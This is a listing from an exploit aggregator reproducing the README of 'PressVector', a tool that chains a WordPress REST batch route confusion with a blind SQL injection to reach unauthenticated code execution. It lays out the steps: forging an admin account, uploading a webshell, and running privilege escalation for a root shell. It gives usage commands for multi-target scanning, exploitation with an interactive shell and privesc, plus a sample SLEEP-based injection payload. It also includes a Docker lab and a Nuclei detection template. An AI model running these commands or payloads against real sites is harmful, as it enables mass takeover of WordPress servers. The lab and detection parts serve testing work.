## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VULNQUEST58-PRESSVECTOR
# 🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 Exploitation Framework
   
**⚡ Advanced Pre-Auth RCE & Blind SQLi Exploitation Framework for WordPress Core**
    
* * *
## 📌 Overview
**PressVector** is a comprehensive, fully automated exploitation framework targeting **CVE-2026-63030** and **CVE-2026-60137** — two critical vulnerabilities in **WordPress core** that together allow unauthenticated remote code execution.
The framework chains REST Batch Route Confusion with a blind SQL injection to forge administrator sessions, deploy webshells, and execute arbitrary OS commands — **all without any credentials**.
> ⚠️ **For authorized security testing and educational purposes only.**
* * *
## 🔍 What is CVE-2026-63030 (wp2shell)?
**CVE-2026-63030** is a critical pre-authentication RCE vulnerability in WordPress core, discovered by **Adam Kues** (Assetnote / Searchlight Cyber). The exploit chains two independent vulnerabilities:
CVE| Advisory| Type| Impact
---|---|---|---
**CVE-2026-63030**| GHSA-ff9f-jf42-662q| REST Batch Route Confusion| Pre-Auth RCE
**CVE-2026-60137**| GHSA-fpp7-x2x2-2mjf| `author__not_in` SQL Injection| Pre-Auth Blind SQLi
### 💥 Exploitation Chain
root@kitploit:~
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
* * *
## 📊 Affected Versions
WordPress Version| CVEs Applicable| Impact| Status
---|---|---|---
6.8.0 – 6.8.5| CVE-2026-60137| 🟡 Blind SQLi (High)| ❌ Vulnerable
6.9.0 – 6.9.4| CVE-2026-63030 + CVE-2026-60137| 🔴 Pre-Auth RCE (Critical)| ❌ Vulnerable
7.0.0 – 7.0.1| CVE-2026-63030 + CVE-2026-60137| 🔴 Pre-Auth RCE (Critical)| ❌ Vulnerable
7.1-alpha / 7.1-beta1| CVE-2026-60137| 🟡 SQLi (High)| ❌ Vulnerable
6.8.6+ / 6.9.5+ / 7.0.2+| —| ✅ Patched| ✅ Safe
* * *
## 📦 Installation
root@kitploit:~
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
* * *
## 🛠️ Tools Included
### 1️⃣ `pressvector.py` — Main Exploitation Framework
Full-featured exploitation framework with 4 modes of operation.
#### 🔎 `scan` — Multi-target Vulnerability Scanner
Fast, multi-threaded scanner to detect vulnerable WordPress installations at scale.
root@kitploit:~
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
#### ✅ `check` — Blind SQLi Confirmation
Confirm time-based blind SQL injection on a single target with timing calibration.
root@kitploit:~
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
#### 💥 `exploit` — Full RCE Exploitation Chain
Complete exploitation: forge admin → deploy webshell → execute commands.
root@kitploit:~
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
#### 🔺 `privesc` — Privilege Escalation
Attempt local privilege escalation after achieving RCE.
root@kitploit:~
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
* * *
### 2️⃣ `pressvector-wp2shell-detection.yaml` — Nuclei Detection Template
A production-ready **Nuclei** template for large-scale passive detection.
root@kitploit:~
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
**Template features:**
* 🔍 Multi-source version detection (meta generator + RSS feed fallback)
* 📡 REST API namespace fingerprinting
* 🎯 Batch route accessibility probing
* 📋 Dynamic output: version, CVE type, attack vector
* * *
## 🧪 Lab Environment (Docker)
A fully automated, containerized penetration testing lab is included for safe, isolated testing of these vulnerabilities.
### Quick Start
**Windows (PowerShell):**
root@kitploit:~
cd pressvector-lab
.\start-lab.ps1
**Linux / macOS:**
root@kitploit:~
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
_(Wait ~60-90 seconds on first run for the WP-CLI installer to set up all WordPress sites automatically)._
### Lab Services & Ports
Port| Service| WordPress Version| Vulnerability / Status
---|---|---|---
**8080**| Target 1| 6.8.5| CVE-2026-60137 (Blind SQLi only) 🔴
**8081**| Target 2| 6.9.4| CVE-2026-63030 (Pre-Auth RCE) 🔴
**8082**| Target 3| 7.0.1| CVE-2026-63030 (Pre-Auth RCE) 🔴
**8083**| Reference| Latest| Patched / Safe Reference ✅
**8084**| PHPMyAdmin| —| DB Management Tool
**8085**| Lab Dashboard| —| Web UI with target status & copyable commands 🖥️
**Admin Credentials:** `admin` / `admin123`
**MySQL Root Password:** `root`
### Verification & Automated Testing
You can verify the entire lab state and exploitation paths using the automated test suite:
root@kitploit:~
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
### Lab Control Commands
* **Stop lab (keep data):** Run `stop-lab.sh` or `.\stop-lab.ps1`
* **Reset lab (wipe data & clean build):** Run `reset-lab.sh` or `.\reset-lab.ps1`
For more advanced instructions and troubleshooting, see the Lab README.
* * *
## 🏗️ Architecture
root@kitploit:~
PressVector/
├── pressvector.py # Main exploitation framework (v3.0.0)
│ ├── SSLContext # TLS context with cert bypass
│ ├── HTTPClient # Session-aware HTTP client + proxy
│ ├── BlindSQLIEngine # Time-based blind SQLi (binary search)
│ ├── PreAuthRCE # Full RCE chain engine
│ │ ├── _discover_batch_endpoint() # REST /batch/v1 discovery
│ │ ├── detect_vulnerability() # Timing oracle calibration
│ │ ├── extract_table_prefix() # DB table prefix extraction
│ │ ├── locate_admin() # Admin user ID discovery
│ │ ├── create_admin_user() # UNION-based admin forge
│ │ └── deploy_webshell() # Plugin zip upload + shell deploy
│ └── PrivilegeEscalation # Local privesc post-RCE
│
├── pressvector-wp2shell-detection.yaml # Nuclei detection template
│
└── pressvector-lab/
├── docker-compose.yml ← Orchestrates all services
├── wp-init/
│ ├── entrypoint.sh ← WP-CLI auto-installer
│ └── init-db.sql ← Creates databases for all instances
├── lab-dashboard/
│ └── index.html ← Dark-themed web UI (port 8085)
├── tests/
│ ├── test_sqli.py ← Blind SQLi validation
│ ├── test_rce.py ← RCE chain step-by-step test
│ └── run_all_tests.py ← Master test runner + JSON report
├── targets.txt ← Pre-filled target list
├── nuclei-test.sh ← Nuclei template validator
├── start-lab.sh / .ps1 ← Start the lab
├── stop-lab.sh / .ps1 ← Stop the lab
└── reset-lab.sh / .ps1 ← Wipe and rebuild from scratch
* * *
## 🔧 Advanced Usage
### Proxy Integration (Burp Suite)
root@kitploit:~
# Route all traffic through Burp Suite
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
python pressvector.py privesc http://target.com --proxy http://127.0.0.1:8080
### Custom Timeouts for Slow Targets
root@kitploit:~
python pressvector.py check http://target.com --timeout 60 --delay 3.0
python pressvector.py exploit http://target.com -c "id" --timeout 60
### JSON Output for Automation
root@kitploit:~
python pressvector.py scan -f targets.txt --json | jq '.[] | select(.vulnerable==true)'
## 📋 Technical Details
### Blind SQL Injection Technique
The injection leverages `author__not_in` in the WordPress REST API categories endpoint, wrapped inside a nested batch request to bypass authentication context:
root@kitploit:~
{
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT IF((1=1),SLEEP(2),0)"},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
### Admin Forge via UNION Injection
The framework injects forged rows directly into `wp_users` and `wp_usermeta` tables using UNION-based SQL injection through the same batch route, effectively creating a new administrator without touching the login interface.
* * *
## 🔗 References
* wp2shell Research — Searchlight Cyber / Assetnote
* GHSA-ff9f-jf42-662q — REST Batch Route Confusion
* GHSA-fpp7-x2x2-2mjf — author__not_in SQLi
* WordPress Security Advisory
* NVD — CVE-2026-63030
* * *
## ⚠️ Legal Disclaimer
> **IMPORTANT:** This tool is intended for **authorized security testing, penetration testing, and educational research only**.
>
> * ✅ Only use on systems you **own** or have **explicit written permission** to test.
> * ❌ Unauthorized access to computer systems is **illegal** and punishable by law.
> * ❌ The developer (**Vulnquest**) assumes **no responsibility** for any misuse or damage caused by this software.
>
>
> **Use responsibly, ethically, and within the bounds of applicable law.**
* * *
## 👤 Author
**Vulnquest**
GitHub: @vulnquest58
Repository: github.com/vulnquest58/PressVector
* * *
PressVector v3.0.0-Exploit — Built for security researchers and penetration testers